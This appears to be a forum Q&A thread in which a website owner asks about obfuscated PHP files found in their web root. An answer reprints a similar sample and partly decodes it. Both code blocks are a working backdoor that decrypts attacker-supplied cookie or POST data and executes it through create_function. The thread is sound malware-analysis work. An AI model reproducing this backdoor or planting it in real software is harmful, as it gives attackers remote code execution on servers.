Random php code found in my website root folder, what is it? - php

Question

The file name is 7bcwj0cb.php, and the contents are very weird, was I hacked?
There were like 5 other files with similar gibberish
<?php
$pgmvyzp = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
function kfzbo($maczjg, $bxoyyiw, $iuufylj)
{
return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
}
function ngsojvo($maczjg, $tafqe)
{
return #$maczjg[10]($maczjg[2], $tafqe);
}
function zhozxyb($maczjg, $tafqe)
{
$lvjxhjh = $maczjg[4]($tafqe) % 3;
if (!$lvjxhjh) {
$obfgnob = $maczjg[0];
$xmsae = $obfgnob("", $tafqe[1]($tafqe[2]));
$xmsae();
exit();
}
}
$uugksy = ngsojvo($maczjg, $uugksy);
zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>
It looks like your post is mostly code; please add some more details.
It looks like your post is mostly code; please add some more details.

Answer 1

I was working on decoding this code slightly, my original code on my server was this :
<?php
$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
{
return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
}
function rpobw($gsubnr, $wfqhr)
{
return #$gsubnr[10]($gsubnr[1], $wfqhr);
}
function przvg($gsubnr, $wfqhr)
{
$gltnue = $gsubnr[4]($wfqhr) % 3;
if (!$gltnue) {
$qebvtmo = $gsubnr[0];
$yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
$yxubf();
exit();
}
}
$jeswg = rpobw($gsubnr, $jeswg);
przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf
I have ended up decoding it so far to this
$array = array_merge($_COOKIE,$_POST);
foreach ($array as $key => $value) {
function ilkbnxf( $key, $length) {
return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
}
function toBinary( $wfqhr) {
return #pack('H*', $wfqhr);
}
function przvg( $wfqhr) {
$gltnue = count($wfqhr) % 3;
if (!$gltnue) {
var_dump($wfqhr);
// $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
// $yxubf();
// exit();
}
}
$value = toBinary( $value);
przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));
Now I see some few issues,
I dont think this code will run due to these.
First of all, the function is being declared in a foreach loop, and as far as I know you cannot declare functions in a for loop due to not being able to declare functions multiple times (in the loop it will be declared more than once).
Secondly, the $wfqhr variable, from the code below, after running it a few times, this variable does not end up making a proper function as required in the create_function, which e.g would send the cookie somewhere or etc. The script does attempt to obfuscate the cookie though.
Also, for most of the cookie and post, I have tried, the if statement does not get run.
I cant figure out what this script is for or what it is meant to do, and if somebody else could help out in further figuring out the script, that would be quite helpful.